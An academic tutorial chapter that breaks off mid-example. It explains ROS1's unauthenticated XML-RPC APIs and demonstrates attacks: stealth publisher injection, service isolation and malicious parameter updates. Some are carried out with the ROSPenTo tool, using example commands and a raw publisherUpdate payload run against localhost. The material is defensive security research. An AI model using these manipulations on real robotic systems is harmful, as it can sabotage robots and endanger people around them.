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Abstract. ROS is the most popular framework in robotics research and
it also grows in terms of industrial use. This makes ROS a worthwhile
target for attackers especially since security is not addressed by the core
framework itself. Its open architecture and flexibility are also the reasons
why ROS suffers from security issues. For example, in ROS it is possible
to isolate single nodes from the rest of the application without the ROS
master, the other nodes or even the node itself (i.e., its business code)
noticing it. This is true for publishers, subscribers and services alike.
This makes attacks very difficult to spot at runtime.
Penetration testing is the most common security testing practice. The
goal is to test an application for possible security flaws. To better facili-
tate penetration testing for ROS, we introduce ROSPenTo and Roschaos,
tools that make use of the vulnerabilities of ROS and demonstrate how
ROS applications can be sabotaged by an attacker.
In this tutorial you will learn about the ROS XML-RPC API, which is
our main attack point. You will see, how API attacks on ROS work in
depth. You will get to know Roschaos and ROSPentTo, two tools, which
can be used to manipulate running ROS applications.
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1 Introduction

Since its initial introduction ten years ago, ROS [16] has come quite a long way.
It is now by far the most popular tool suite in robotics research. For a few
years now, there have also been increased efforts towards its industrialization4.
As soon as a technology moves out of the research environment though, it will
become an interesting target for hackers and other attackers with potentially
economic interest (and also through the necessary resources to perform expensive
operations). This can also be seen in the ever-increasing number of incidents
[3, 7, 8, 11,12].
4 http://www.rosindustrial.org

http://www.rosindustrial.org
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What has been neglected in the development of ROS are security consider-
ations. With some background knowledge on how ROS works internally, it is
quite easy to manipulate.

DISCLAIMER: With this chapter, we want to show how vulnerabilities
in ROS could be exploited to manipulate a ROS application. By no means
do we want to encourage or promote the unauthorized tampering with
running robotic applications since this can cause damage and serious
harm.
Nevertheless, we think it is important to show that those vulnerabilities
exist and to make the ROS community aware how easily an application
can be undermined.

ROS makes a clear distinction between application management issues (like
finding a publisher for a topic I want to subscribe to) and the communication
of data. The first is handled via an XML-RPC API while the second is TCP
or UDP- based communication. In both, no security considerations regarding
confidentiality, integrity or authenticity have been made. A ROS node does not
need to identify or authorize itself before taking any action. The stateless API
also does not take account of what is happening in the network. While from a
software engineering point of view, many of those design decisions seem very ele-
gant, this opens up several attack surfaces in ROS [5,10]. Besides the possibility
for shutdown of single nodes (as a kind of Denial of Service), single publishers,
subscribers and services can be isolated from the rest of the application, false
data can be injected and manipulations of parameters can be performed at run-
time (we go into more detail on that in the following sections). In addition to
what will be shown in this tutorial, one has to keep in mind also that eavesdrop-
ping is straightforward in ROS since no communication encryption is present.
Thus, anyone can read the data that an application transmits.

Penetration testing is the most common security testing practice [1]. The
goal is to test an application for possible security flaws. Typically it is done once,
when the application is finished to ascertain the security of the whole system.
However, it is clearly much more advantageous to do it more often, ideally to
integrate it into the development cycle. For this, tools are required.

In the context of ROS, we introduce ROSPenTo and Roschaos, two tools,
which can be used to manually or automatically perform attacks on running
ROS applications. They make use of the vulnerabilities in the ROS API. In this
chapter, we will use them to demonstrate attacks on ROS applications and show
what the effects of such manipulations can be. To provide a deeper understanding
of where those vulnerabilities originate, we first describe the ROS XML-RPC
API. Based on this, we describe the sequences in which attacks are performed and
give in-depth details of what exactly happens in each step. After that, Roschaos
and ROSPenTo are explained and demonstrated as real tools to perform those
attacks.
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Overview

In this tutorial chapter, the reader will learn about specific vulnerabilities in ROS
and why they exist along with information about how they can be exploited to
manipulate ROS applications. Further, the use of ROSPenTo and Roschaos to
carry out some types of attacks will be explained in detail.

The rest of this tutorial is structured as follows:

– Background: In section 2, we survey some state of the art on robot security
and describe the ROS API, which is the basis for our attack patterns.

– Attacks on ROS: In section 3, we describe those attack patterns in more
detail by explaining how and why they work in ROS.

– ROSPenTo: In section 4, we present the ROSPenTo tool and the analyses
and attacks it can perform along with practical examples.

– Roschaos: The Roschaos tool will be described in section 5.
– Conclusion: Finally, we conclude in section 6 and describe practical aspects

and countermeasures for the attacks of ROSPenTo and Roschaos.

2 Background

In this section we dive into the low-level mechanisms of ROS. In order to model
the interactions between the components of the graph, ROS defines several hor-
izontal APIs. As said, those are the pivotal attack surfaces discussed in this
tutorial. Below we present an overview of them, which is necessary to under-
stand how it is possible to carry out the attacks addressed by the proposed
tools.

2.1 Related work in ROS security

The security issues in ROS have been known for quite some time now. A first
assessment has shown severe vulnerabilities and potential for manipulation [10].
This has been neglected since ROS has been used mainly in research and closed
facilities. However, a recent study revealed that now there are quite some in-
stances of ROS running openly accessible via the internet [4].

In recent years, several works have been concerned with improving the se-
curity of ROS. SROS is an attempt to secure ROS at the graph level and on
the data communication level [20, 21]. An application-level approach has been
presented in [17] the authors study the performance impact of using encryp-
tion in ROS. Their architecture however, where a dedicated node subscribes,
encrypts and re-publishes ROS messages, is not suitable for realworld use since
the plain-text ROS topic is still available for subscription.

Another application-level approach has been presented in [6]. It uses a dedi-
cated authorization server to ensure that only valid nodes participate in the ROS
network. Topic-specific encryption keys are used to ensure data confidentiality.
In follow-up work, a hardened ROS core with authentication, authorization and
encryption functions that are transparent to the ROS nodes and thus do not
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require nodes to be changed has been developed [2]. This work has been further
extended with secure workflows and initial penetration testing support in [5].

In [15], the various approaches on ROS security are compared and evaluated.
Recently, Vilches et al. have progressed towards quantifying (in)security of robots
and have presented a framework for security assessment [18,19].

2.2 ROS API
Shared among the various ROS1 client libraries is a common and established set
of subsystem APIs that are used to string together ROS nodes into a intercon-
nected computational graph. Aside from the basic message transport protocols,
the rest of the API can be divided into three main categories, including: the
Master API, Slave API, and Parameter Server API. These APIs reflect the roles
of the participants as well as the context for the exchange, namely that between
the Master and among other nodes.

These APIs are implemented via XML-RPC, which is a stateless, HTTP-
based remote procedure protocol. Given the web landscape around 2007, the
beginning year of ROS1 development, the protocol was chosen for being rela-
tively lightweight, no stateful connection requirements, and wide availability in
a variety of programming languages. With the simplicity of the former and the
availability of the latter perhaps facilitating the multitude of multilingual client
libraries ROS1 provides today.

However the reliance on XML-RPC comes with a number of drawbacks.
Criticisms include verbose encoding of application-level data resulting in greater
overhead costs, and more notably the lack of any authenticated encryption or
authorized remote execution. While identification of clients for authorization
purposes can be achieved using HTTPS security methods, ROS1 does not yet
support such identification and authentication features needed for enforcing basic
access control. Thus the entirety of the ROS1 API may be rendered vulnerable
to unintended or malicious exchanges from anonymous network participants.

Every XML-RPC API call takes a number of required parameters,
e.g. caller_id, and returns a tuple of three values including a status code, an
integer indicating the completion condition of the method, a status message, a
human-readable string describing the return status for debugging, and a response
value of some data type further defined by the individual API call. The rest of
this section details the intended use of the three API categories, additionally
foreshadowing the potential vulnerability each call method may surface.

2.3 Master API
The Master API5, as the name suggests, provides nodes (clients) a standard-
ized interface to connect to the master (server). Given that ROS1 relies on a
centralized Master process to host discovery information, this API provides the
topic/service registration and namespace lookup used for establishing and main-
taining a distributed peer-to-peer publish/subscribe network.
5 wiki.ros.org/ROS/Master_API

http://wiki.ros.org/ROS/Master_API
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Fig. 1: Example high-level diagram of ROS1 API. Shown is a example scenario
of the ROS1 API in the case of the classic talker/listener example, where a
publisher advertises the topic chatter after subscribers are already registered.

Register/Unregister - Subscriber, Publisher, Service These calls make
use of the caller_id and API URI of the node, additionally the namespace/data-
type for subsystem registration. For unregistration, one of the first two param-
eters are needed, but will only occur if current registration matches. Note that
identity derives completely via the call parameters provided and is never neces-
sarily proven, neither through the context of the socket connection or otherwise,
enabling trivial spoofing of registration requests.

Lookup - Node, Service These calls are used to lookup the URIs for nodes
given a node_id or service given service name, enabling the resolution for the
URI location of namespaced nodes and services. Acquiring the URI for a target
element in the graph is the starting point for many remote attacks; open oracle
access to arbitrary disclosure of this information simplifies this process greatly.

Get - Master State/URI, Topic List/Type For further introspection, the
internal state of the Master can be retrieved, detailing the entire topology of the
ROS system, i.e. all current publishers, subscribers, and services. This is used
by debugging and live monitoring tools like rqt’s node graph visualizer. Deeper
topic introspection is also possible, and is particularly useful for fingerprinting
the system and ascertaining the necessary header information to spoof subsystem
connection requests.
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2.4 Parameter API

The Parameter Server API6 mainly deals with the management of global param-
eters within ROS1, where the server is actually part of the Master. Presumably
this API was made as a separate entity from the Master API to enable separa-
tion in the future, which remains unlikely for ROS1. Still this centralized model
is able to distribute changes in parameters by invoking callback for namespaced
parameter keys which nodes may register for.

Set, Get, Delete These calls afford the reading and writing parameter values
into the key-value parameter storage. All anonymous agents are provided read
and write permissions to the parameter database given that no ownership model
is enforced, nor are any namespace restrictions retained. For example, every
node registers a logging level parameter that may be used to silence or censor
log activity.

Has, Search, List For introspection, additional calls provide greater inquiries
into the parameter namespace tree, ranging from checking a target key, recur-
sively searching the namespace hierarchy, or a complete dump of instantiated
keys. Such calls are commonly employed by developer or user interface tools
such as rqt’s dynamic reconfigure to list node parameters into a front panel dis-
play. This is additionally useful for profiling or fingerprinting the purpose and
capabilities of system components.

Subscribe, Unsubscribe To synchronize local node parameters with those
stored globally in the parameter server, nodes may subscribe to value change
events for a given parameter key. These callbacks are initiated by the parameter
server, where temporary connection to the node’s Slave API is created upon each
event. Given the socket connection is not continuous, unlike topics or actions,
the parameter subsystems as with services are particularly exploitable using
isolation attacks.

2.5 Slave API

The Slave API7, hosted by every ROS1 node, serves two main roles: receiving
callbacks from the Master, and negotiating connections with other nodes. Ad-
ditional system level calls are also provided for orchestration and monitoring
purposes. Though it is not possible to update the Master URI through the Slave
API, its invocation enables any local anonymous connection to essentially usurp
the role of the Master.
6 wiki.ros.org/ROS/Parameter%20Server%20API
7 wiki.ros.org/ROS/Slave_API

http://wiki.ros.org/ROS/Parameter%20Server%20API
http://wiki.ros.org/ROS/Slave_API
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Update - Publisher, Parameter These methods serve as callbacks for the
Master to notify subscribing nodes of changed topic publishers registered or to
disseminate modified values of parameter keys. As most nodes merely register for
such events, rather than requesting and subsequently parsing the entire system
state from the Master API directly, these callbacks are the dominant mechanism
for discovery and synchronization of data through the ROS1 graph.

Request - Topic Transport Info After a subscriber receives a publisher up-
date callback, it will subsequently request the topic info by contacting the new
publishers directly to negotiate an established means of transport, e.g. ROS-
TCP or ROSUDP. This phase also checks to ensure expected data types match
via comparing message type checksums from the connection header. A separate
socket port is relegated for the actual message transport, thus this handshake
may be bypassed if the URI for transport is known a priori.

Get - Bus State/Info, Master URI, Pid, Subscription, Publications
For remote diagnostic purposes, additional system level calls provide current
statistics and meta info on active transport connections, configured Master URI,
process identifier of the node on relative host, as well the node’s internal record
of its own subscribed and published topics. These calls are commonly used by
debugging and profiling tools like rosnode info to troubleshoot connectivity or
bandwidth issues. These calls however reveal much in the way of the local graph
topology without necessarily resorting to the Master API.

Shutdown A particularly powerful call is the shutdown method that can be
used to remotely self terminate the node process. This method is used by the
Master when resolving node namespace conflicts, i.e nodes with duplicate fully
qualified names, by conventionally killing the older node in favor of the newer.
However this method is not restricted to the Master and can be invoked by
any client, e.g. from rosnode kill, permitting the termination of ROS process
without requiring the proper POSIX signal permissions in the target host.

3 Attacks on ROS

In this section we explain some basic ways ROS can be manipulated by an
attacker. Knowing the workflows behind ROS communication allows us to reveal
weaknesses.

3.1 Stealth Publisher Attack

The stealth publisher attack aims at injecting false data into a running ROS
application. Another ROS node is tricked into consuming data from a false pub-
lisher node. In this attack, an attacker utilizes the publisherUpdate call to
isolate a subscriber from one or more regular publishers and additionally force it



8 B. Dieber et al.

to establish topic communication to an unauthorized publisher, which need not
necessarily be known to the ROS master. Additionally, the getSystemState call
and the lookupNode call from the ROS Master API as well as the requestTopic
call of the XML-RPC Slave API are used in this attack scenario, which is also
graphically described in figure 2 in the form of a sequence diagram.

The sequence diagram, contains four entities:

– The ROS master M
– A subscribing entity S, which subscribes to a topic topic
– A publishing entity P , which is publishing topic-messages
– An attacking entity A, which targets S

Basically, the scenario is divided into a preparation phase, where A gets
the necessary information to run the attack and an attacking phase, where the
communication relations of S regarding topic are manipulated in a way that S
only receives messages from A afterwards.

In the first step, A requests the current system state in the ROS network
from M , by calling the getSystemState method. Now, A knows which nodes
are currently communicating over which topics. Particularly, A knows that S
and P are communicating over the targeted topic topic. By subsequently calling
the lookupNode method twice, A gets the XML-RPC URIs of S and P . With
this information, A can now move on to the attacking phase.

First A sends a publisherUpdate call to S, which contains only A's XML-
RPC URI in the list of currently known publishers to S. As a result, S termi-
nates the connection to P and initiates the communication with A, by sending
a requestTopic call. From now on, we have to differentiate whether S wants to
use TCPROS or UDPROS for data transport. In case of TCPROS, A forwards
the received call to P and receives—besides other information—the port where
P listens for new TCP connections as a result. Before forwarding the reply to S,
A has to change the host and port information. Next, S establishes a TCP con-
nection to A and sends a TCPROS header. A then forwards this header to P in
the same way, to receive a correct TCPROS header message, which it can send
back to S. After that, A can start sending its own topic messages to S. When
using UDPROS, the UDPROS header is included in S' requestTopic call. As
a consequence, A has to forward the call to P again, in order to get a correct
header for the reply. After A has sent the correct reply to S, A immediately starts
to send the topic messages. Note, that the number of publishers which can be
excluded is not limited in this scenario. If we had more than one publisher, S
would terminate the communication to all of them and A would choose one of
the publishers in order to get the correct header information. Theoretically, the
information extracted from M in the first phase could also be requested from S
or P by sending a getBusInfo call, but this would require additional informa-
tion like the XML-RPC URIs from S and P in advance. No matter what the
preparation phase looks like, the master is not aware of the changes in the ROS
graph which emerge from the attack. Consequently, the detection of this attack
requires advanced ROS graph analyzing methods.
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M P S A

getSystemState, caller_id

[1, statusMessage, [ [topic, [P ]] [topic, [S]] [] ]]

lookupNode, caller_id, S

[1, statusMessage, sURI]

lookupNode, caller_id, P

[1, statusMessage, pURI]

Phase 1Phase 1 Prepare attack

publisherUpdate, ”/master”, topic, [aURI]

[1,statusMessage, 0]

requestTopic, S, topic, ”TCPROS”

requestTopic, S, topic, ”TCPROS”
[1,statusMessage,[”TCPROS”, pHost, pPort]]

[1,statusMessage,[”TCPROS”, aHost, aPort]]

TCPROS header hS

TCPROS header hS

TCPROS header hP

TCPROS header hP

requestTopic, S, topic, UDPROS header

requestTopic, S, topic, UDPROS header
[1,statusMessage, UDPROS header]

[1,statusMessage, UDPROS header]

altalt S chooses TCPROS

S chooses UDPROS

Topic message

Phase 2Phase 2 Run attack

Fig. 2: Sequence diagram of a Stealth Publisher Attack
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3.2 Action person-in-the-middle attack
In this attack scenario, we will utilize the stealth publisher attack to run a
person-in-the-middle attack on a ROS action. As described in the corresponding
ROS wiki page8 and shown in figure 3, under the hood, an action consists of five
ROS topics.

Action-Client

Goal-Topic

Cancel-Topic

Action-Server
Status-Topic

Feedback-Topic

Result-Topic

Fig. 3: Communication within a ROS action

Let’s suppose we have an action client AC and an action server AS, where
AS provides an arbitrary action. If AC wants to trigger this action, it sends a
message on the action specific goal topic. To cancel an action, AC has to publish
a preempt request on the cancel topic. An attacking entity A can now intercept
this communication by running a stealth publisher attack on these two topics.
Additionally, by simply publishing its own messages, A can trigger and cancel
a modified action instance on its own. Up to now, A does not prevent AS from
sending feedback, result and status messages to AC. Hence, AC can detect the
attack, by interpreting unexpected messages received from AS. This changes as
soon as A runs three additional stealth publisher attacks on the status, feedback
and result topics. Now, A can publish the messages AC would expect as a reply
on its own messages sent on the topics goal and cancel. From the communication
point of view, this scenario is just the multiple application of the previously
described attack. The main challenge for the attacker is the context sensitive
knowledge required to pretend a reasonable behavior of AC and AS in order to
remain undetected. Apart from that, the attack itself is not visible in the ROS
graph and therefore it is as hard to detect as the stealth publisher attack.

3.3 Service Isolation Attack
Whereas the previously described attacks target the topic based communication
in ROS, in this scenario an attacking instance A aims for the isolation of a service
8 http://wiki.ros.org/actionlib/DetailedDescription, last accessed 07/02/2018

http://wiki.ros.org/actionlib/DetailedDescription


Penetration testing ROS 11

server. To achieve this goal, A uses the getSystemState, the lookupService
and the unregisterService methods from the ROS Master API. The sequence
diagram shown in figure 4 graphically describes the attack.

C M S A

getSystemState, ”caller”
[1, ”current system state”, [ [] [] [service, [S]] ]]

lookupService, ”caller”, service

[1,”rosrpc URI:” service-URI, service-URI]

unregisterService,S, service, service-URI

1,”Unregistered ” S ” as provider of ” service, 1

TCPROS-Header

TCPROS-Header
Service-Request

Service-Response

lookupService, C, service

[-1, ”no provider”, ””]

Fig. 4: Sequence diagram of a Service Isolation Attack

Here, A wants to isolate a ROS service service, provided by a service server
S, from the rest of the ROS network in order to exclusively call the service on its
own afterwards. In the first step, A calls the getSystemState method to receive
a list with all available services and their providers. With this information, A
subsequently calls the lookupService method, passes the name of the service
to be targeted and gets the URI of the service as a result. Now A uses the
unregisterService method to trick the master into removing the service from
its internal list. For that, the attacking entity has to pass the name of the service
server, the name of the service and the URI of the service as parameter. After
that, a lookupService call of an arbitrary service client C results in a negative
response, which means that the service is not available anymore for regular ROS
nodes in the network. In contrast, S doesn’t know that the service it provides is
no longer available. Consequently, A can still call the service whenever it wants
by sending a TCPROS-Header and a subsequent service request to the URI of
the service. Note, that this attack can be detected by calling the getSystemState
method.
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3.4 Malicious Parameter Update Attack

The ROS Parameter API provides two different options for a ROS node to get
the current value of a parameter stored on the parameter server. The first and
probably the more common way is to call the getParam method. Here the ROS
node requests the parameter value from the ROS Master and gets the current
parameter value as result. The second option is to subscribe to a specific pa-
rameter by calling the subscribeParam method. In this case the node stores the
current parameter value in a local variable. If the parameter value changes on
the parameter server, the server calls the node’s paramUpdate method, which
results in the change of its local variable for this parameter. In the malicious pa-
rameter update attack, an attacking entity A utilizes this behavior to change the
value of a parameter param locally in the node’s application, without touching
the corresponding value on the parameter server. The sequence diagram shown
in figure 5 graphically describes the information flow between A, a subscribing
ROS node N , and the ROS master M .

M N A

subscribeParam, caller_id, nURI, ”param1”
[1,statusMessage, param1V alue]

getParam, caller_id, paramKey

[1,statusMessage, param1V alue]

lookupNode, caller_id, N

[1, statusMessage, nURI]

unsubscribeParam, N , nURI, paramKey

[1, statusMessage, numUnsubscribed]

paramUpdate, ”/master”, paramKey, newV alue

[1,” ”, 0]

Fig. 5: Sequence diagram of a malicious parameter update attack

First N has to subscribe to param1 by calling the subscribeParam method,
passing its name, the URI of its local XML-RPC server and the name of param
as parameter. The response then contains the current value of param. On a
successful subscription, N requests the value of param a second time, using the
method getParam. Now A comes into play and retrieves N ’s XML-RPC URI via
the lookupNode method. After that, A unsubscribes N from param, by faking an
unsubscribeParam call of N . Within this configuration, the parameter server
stops to send updates for param to N , while N still waits for paramUpdate
requests of the parameter server. A can utilize this state to get full control of
the value of param, which is locally stored at N , by simply sending its own
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paramUpdate requests to N .
The scenario described here can also be applied on multiple nodes subscribing
to the same parameter. In the worst case, every node sees a different value
of the same parameter at a certain point of time, which can for instance lead
to unpredictable behavior in a distributed ROS application. Note, that cached
parameters are only supported by the roscpp package. Hence, the malicious
parameter attack can only be run on nodes implemented in C++.

4 ROSPenTo - The ROS Pentesting Tool

This section presents step-by-step guides on how to perform penetration testing
in a ROS application using a tool called ROSPenTo. Using ROSPenTo we show
the stealth publisher attack i.e., how a subscriber in a running ROS application
can be tricked into consuming false data without that being noticed by any other
application node or the ROS master. A second use-case describes how services
can be isolated in order to make them inaccessible by other ROS nodes. Finally,
we show how ROSPenTo can manipulate the ROS parameter server. But first,
we give an introduction to ROSPenTo.

4.1 ROSPenTo Basics

ROSPenTo9 10 is a .net-based tool, which can be used to analyze and manip-
ulate running ROS applications. ROSPenTo runs on any .net-enabled platform
including any platform, which runs Mono11.

ROSPenTo is able to analyze multiple ROS application networks at the same
time. This can later be used to manipulate the individual applications and to
reorganize their ROS nodes.

Launching ROSPenTo ROSPenTo can be launched in two different ways:
with and without command line arguments. Passing no arguments when starting
ROSPenTo runs the application in interactive mode and the user can choose
the procedures to be performed. In the non-interactive mode, the application
performs one single task depending on the command line arguments passed.

Interactive mode The interactive mode is started by launching ROSPenTo with-
out command line arguments:

$ mono RosPenToConsole.exe

After a license header the following interaction menu is printed:
9 Download ROSPenTo at https://github.com/jr-robotics/ROSPenTo and follow

building instructions in the README file
10 A video of ROSPenTo in action can be found at https://vimeo.com/295958352
11 http://www.mono-project.org

https://github.com/jr-robotics/ROSPenTo
https://vimeo.com/295958352
http://www.mono-project.org
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1 What do you want to do?
2 0: Exit
3 1: Analyze system...
4 2: Print all analyzed systems

By typing the number (e.g. ’0’ or ’1’ or ’2’) in the console window the cor-
responding action (e.g. Exit or Analyze system or Print all analyzed systems) is
performed by the ROSPenTo. The options perform the following tasks:

0. Exit: The program execution will be stopped and the application terminates.
1. Analyze system: Requires the input of the ROS master URI to request infor-

mation about the ROS system. The ROS master provides information about
the running nodes, the available topics for communication, the accessible ser-
vices and the stored parameters. All the retrieved information is shown in
the console window.

2. Print all analyzed systems: Prints a lists of all the already analyzed ROS
systems. A ROS system is represented by an unique number and the URI of
the ROS master.

After the first system was analyzed (option ’1’) the following options are
enabled in the interaction menu:

1 What do you want to do?
2 0: Exit
3 1: Analyse system...
4 2: Print all analyzed systems
5 3: Print information about analyzed system...
6 4: Print nodes of analyzed system...
7 5: Print node types of analyzed system (Python or C++)...
8 6: Print topics of analyzed system...
9 7: Print services of analyzed system...

10 8: Print communications of analyzed system...
11 9: Print communications of topic...
12 10: Print parameters...
13 11: Update publishers list of subscriber (add)...
14 12: Update publishers list of subscriber (set)...
15 13: Update publishers list of subscriber (remove)...
16 14: Isolate service...
17 15: Unsubscribe node from parameter (only C++)...
18 16: Update subscribed parameter at Node (only C++)...

Listing 1.1: The interactive mode menu of ROSPenTo

The dots at the end of an option indicates that there is additional input of the
user necessary. The enabled options perform the following tasks:

3. Print information about analyzed system: Prints information about the run-
ning nodes, the available topics for communication, the accessible services
and the stored parameters.
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4. Print nodes of analyzed system: Lists all running nodes with an unique iden-
tifier, the name and the URI of the node.

5. Print node types of analyzed system (Python or C++): Prints whether a
node is implemented in Python or in C++.

6. Print topics of analyzed system: Lists all topics which are involved in a
communication between nodes.

7. Print services of analyzed system: Lists all available services in the ROS
system.

8. Print communications of analyzed system: Prints a list of communication re-
lationships. Every communication relationship consists of one or more pub-
lishers which are publishing data for one or more subscribers under a specific
topic.

9. Print communications of topic: Prints a single communication relationship
for a specific topic which must be defined by a user input.

10. Print parameters: Lists all the stored parameter in the ROS system.
11. Publisher update (add publishers): Adds a new publisher to in the commu-

nication relationship of a subscriber. So, the subscriber’s publishers list is
updated in the communication relationship and the subscriber is able to
receive data from an additional publisher.

12. Publisher update (set publishers): Same as option 11 but the defined pub-
lisher(s) is/are explicitly set as the subscriber’s publishers, i.e., any existing
publishers will be overwritten.

13. Publisher update (remove publishers): Removes a publisher from the sub-
scriber’s publishers list. The subscriber will not receive any further data
from a removed publisher.

14. Service isolation: Unregisters a service at the ROS master (the service is still
available at the service provider, the ROS master will just no longer pass on
the contact information to other nodes).

15. Unsubscribe node from parameter (only C++): Unsubscribes a node from a
parameter and the node will not receive any further updates of the parame-
ter.

16. Update subscribed parameter at Node (only C++): Updates a parameter for
exactly one specified node in the ROS system.

Command line arguments The non-interactive mode of ROSPenTo performs one
single task and terminates at the end. Currently, the available tasks are limited
to publisher update (11: - 13: of interactive mode menu) procedures but will be
extended in the coming releases of the ROSPenTo (check the ROSPenTo repos-
itory for an up-to-date list). To perform a publisher update procedure various
command line arguments have to be passed when launching ROSPenTo:

-t or --target: (Required). ROS Master URI of the target system. The target
ROS system is the ROS system where the affected subscriber is in.

-p or --pentest: (Required). ROS Master URI of the penetration testing sys-
tem (the attacker network).

--sub: (Required) Name of the affected subscriber in the target system.
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--top: (Required) Name of the affected topic.
--pub: (Required) Name of the new publisher in the penetration testing system.
--add: (Default: False) In the publisherUpdate command, this adds publisher

to existing ones.
--set: (Default: False) In the publisherUpdate, this command sets new pub-

lisher.
--remove: (Default: False) In the publisherUpdate command, this removes pub-

lishers from existing ones.

So, the following parameters are required to be defined and provided with the
corresponding value: [-t or --target, -p or --pentest, --pub, --sub, --top].
The order of the parameters does not matter. Additionally, at least one of the
following options (withour arguments) is required: [--add,--set,--remove].

Example: The following command adds the publisher /talker to the com-
munication via the topic /chatter of the subscriber /listener.

$ mono RosPenToConsole.exe -t http://localhost:11311 --sub
↪→ /listener --top /chatter -p http://localhost:11312
↪→ --pub /talker --add

Note that the subscriber runs in the target ROS system (-t or --target) and
the publisher runs in the penetration testing ROS system (-p or --pentest).

Addressing entities in ROSPenTo ROS networks quickly become complex
and hard to overview, especially using console tools. ROSPenTo is even able to
manage multiple ROS networks at the same time. This requires some sort of
addressing an entity (a node, topic or service) in this command-line interface.

ROSPenTo assigns each entity in the ROS network a number and uses this
number in conjunction with the number of the network to identify a single entity
globally. This generally has the form of x.y where x is the number of the network
(called a ”system”) and y is the number of the entity within its class. Thus, the
topic 0.15 is the fifteenth topic found by ROSPenTo in the first system analyzed.
Note however, that 0.15 is not a unique identifier, there could be a 0.15 node but
also a topic with that number at the same time. ROSPenTo always asks inputs
only within one specific entity class (e.g., ”which topic should be affected”).

Analyzing a network To analyze a simple ROS application, let’s run the
roscpp_tutorials12 or rospy_tutorials13 talker node (they are contained in your
desktop installation of ROS or can be installed via apt-get).

$ roscore&
$ rosrun roscpp_tutorials talker

Then start ROSPenTo as shown above. After pressing 1 in the interactive
menu, enter the URI of a running roscore in order to analyze its nodes, topics
and service.
12 http://wiki.ros.org/roscpp_tutorials
13 http://wiki.ros.org/rospy_tutorials

http://wiki.ros.org/roscpp_tutorials
http://wiki.ros.org/rospy_tutorials
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>> 1

1 Please input URI of ROS Master: (e.g. http://localhost
↪→ :11311/)

>> http://localhost:11311

When running the rospy_tutorials talker, ROSPenTo prints the following
network structure:

1 System 0: http://127.0.0.1:11311/
2 Nodes:
3 Node 0.2: /rosout (XmlRpcUri: http

↪→ ://127.0.0.1:45767/)
4 Node 0.0: /talker (XmlRpcUri: http

↪→ ://127.0.0.1:40907/)
5 Topics:
6 Topic 0.0: /chatter (Type: std_msgs/String)
7 Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
8 Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log)
9 Services:

10 Service 0.4: /rosout/get_loggers
11 Service 0.5: /rosout/set_logger_level
12 Service 0.1: /talker/get_loggers
13 Service 0.0: /talker/set_logger_level
14 Communications:
15 Communication 0.0:
16 Publishers:
17 Node 0.0: /talker (XmlRpcUri: http

↪→ ://127.0.0.1:40907/)
18 Topic 0.0: /chatter (Type: std_msgs/String)
19 Subscribers:
20 Communication 0.1:
21 Publishers:
22 Node 0.0: /talker (XmlRpcUri: http

↪→ ://127.0.0.1:40907/)
23 Topic 0.1: /rosout (Type: rosgraph_msgs/Log)
24 Subscribers:
25 Node 0.2: /rosout (XmlRpcUri: http

↪→ ://127.0.0.1:45767/)
26 Communication 0.2:
27 Publishers:
28 Node 0.2: /rosout (XmlRpcUri: http

↪→ ://127.0.0.1:45767/)
29 Topic 0.2: /rosout_agg (Type: rosgraph_msgs/

↪→ Log)
30 Subscribers:

Listing 1.2: Output of network analysis



18 B. Dieber et al.

This provides a variety of information. All the components of the ROS net-
work (e.g. nodes, topics, services, …) and the communication relationships are
printed. For every entity a reference number is generated where the first digit
belongs to the analyzed ROS system and the second digit is a unique number
of the entity in its category. Additionally, the URI for XML-RPC requests is
shown for each node. In the first block (line 2ff), all nodes in the network are
displayed. Only the talker node of the roscpp_tutorials is running along with
the mandatory rosout node that starts automatically with the roscore.

Second, all registered topics and services are listed (line 5ff). Here, also the
message types for each topic are displayed.

Under ”Communications” (line 14ff), ROSPenTo prints all connections be-
tween publishers and subscribers. In this case, there are no subscribers for the
/chatter topic since so far no subscriber has been started.

Now let’s start the listener to see the difference.
$ rosrun roscpp_tutorials listener

After running the system analysis again, the communications section shows
the talker node as subscriber to /chatter.
1 Communication 0.0:
2 Publishers:
3 Node 0.0: /talker (XmlRpcUri: http

↪→ ://127.0.0.1:40907/)
4 Topic 0.0: /chatter (Type: std_msgs/String)
5 Subscribers:
6 Node 0.1: /listener (XmlRpcUri: http

↪→ ://127.0.0.1:41313/)

The corresponding RQT graph is shown in figure 6.

Fig. 6: The RQT graph running talker and listener.

Modifying publishers Now that we know how to get information on pub-
lishers, subscribers and topics, we can perform a first manipulation of a ROS
network. First, we want to cut off the listener node from the data which the
talker publishes. Use the option 13 to remove publishers from a subscriber.

>> 13

1 To which subscriber do you want to send the publisherUpdate
↪→ message?

2 Please enter number of subscriber (e.g.: 0.0):
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>> 0.1

1 Which topic should be affected?
2 Please enter number of topic (e.g.: 0.0):

>> 0.0

1 Which publisher(s) do you want to remove?
2 Please enter number of publisher(s) (e.g.: 0.0,0.1,...):

>> 0.0

1 sending publisherUpdate to subscriber '/listener (XmlRpcUri:
↪→ http://127.0.0.1:42425/)' over topic '/chatter (Type:
↪→ std_msgs/String)' with publishers ''

2 PublisherUpdate completed successfully.
If you look at the shell where you started the listener node, you will notice

that the output has stopped. The subscriber no longer receives any messages
from the talker.

But what happened exactly? ROSPenTo called the XML-RPC function pub-
lisherUpdate with an empty list of publishers as parameter. This caused the
listener node to assume that no publishers are available for /chatter and thus,
it terminated the connection to the talker node. The xml content of this call is
shown below.

<?xml version=” 1 .0 ”?>
<methodCall>

<methodName>publ i sherUpdate</methodName>
<params>

<param>
<value>/ master</ value>

</param>
<param>

<value>/ cha t t e r</ value>
</param>
<param>

<value>
<array>

<data></data>
</ array>

</ value>
</param>

</params>
</methodCall>

Listing 1.3: XML content of a publisherUpdate call

It is interesting to note, that this has not been recognized by the master,
if you generate the RQT graph again, it will show again the same image as in
figure 6 i.e., the master did not recognize that change.
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Bridging two ROS networks Now we look at a more advanced example. As
already mentioned, ROSPenTo can handle more than one ROS system at once.
Thus, it is also able to manipulate them. To demonstrate this, we start talker
and listener in two different ROS networks i.e., associated to two different ROS
masters.

$ roscore&
$ roscore -p 11312 &

We make use of the -p command line argument to set a different port for the
second master.

Next, start the talker with the first master.
$ export ROS_MASTER_URI=http://localhost:11311
$ rosrun roscpp_tutorials talker

In a different shell, start the listener with the second master.
$ export ROS_MASTER_URI=http://localhost:11312
$ rosrun roscpp_tutorials listener

Initially, the listener will not output any /chatter messages since in its ROS
instance there is no talker. Next, start ROSPenTo again and perform analyses
of both ROS systems using the two URIs http://localhost:11311 and
http://localhost:11312.

The following listing shows the analysis output for the two systems (simplified
